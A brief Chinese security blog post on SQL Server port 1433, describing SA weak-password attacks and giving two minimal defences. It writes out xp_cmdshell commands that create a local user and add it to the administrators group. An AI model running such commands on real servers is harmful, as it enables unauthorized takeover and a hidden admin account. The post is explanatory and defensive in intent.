【系统安全】1433端口的入侵与防护

一、1433端口

1433端口是SQL Server默认的端口,SQL Server服务使用两个端口:TCP-1433、UDP-1434。其中1433用于供SQL Server对外提供服务,1434用于向请求者返回SQL Server使用了哪个TCP/IP端口。

二、1433端口入侵

常见的1433端口入侵,即对MSSql服务的入侵,就是SA用户的弱口令扫描。

SA是Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值,比如执行:

exec master..xp_cmdshell 'net user test 12345 /add'和exec master..xp_cmd
shell 'net localgroup administrators test /add'

这样对方的系统就被添加了一个用户名为test,密码为12345,有管理员权限的用户。

三、1433端口防御

这里我们参考:https://wenku.baidu.com/view/43d7676a25c52cc58bd6beab.html

1.关掉1433端口;

2.配置安全策略。

发布了256 篇原创文章 · 获赞 341 · 访问量 24万+

猜你喜欢

转载自blog.csdn.net/qq_37865996/article/details/104319009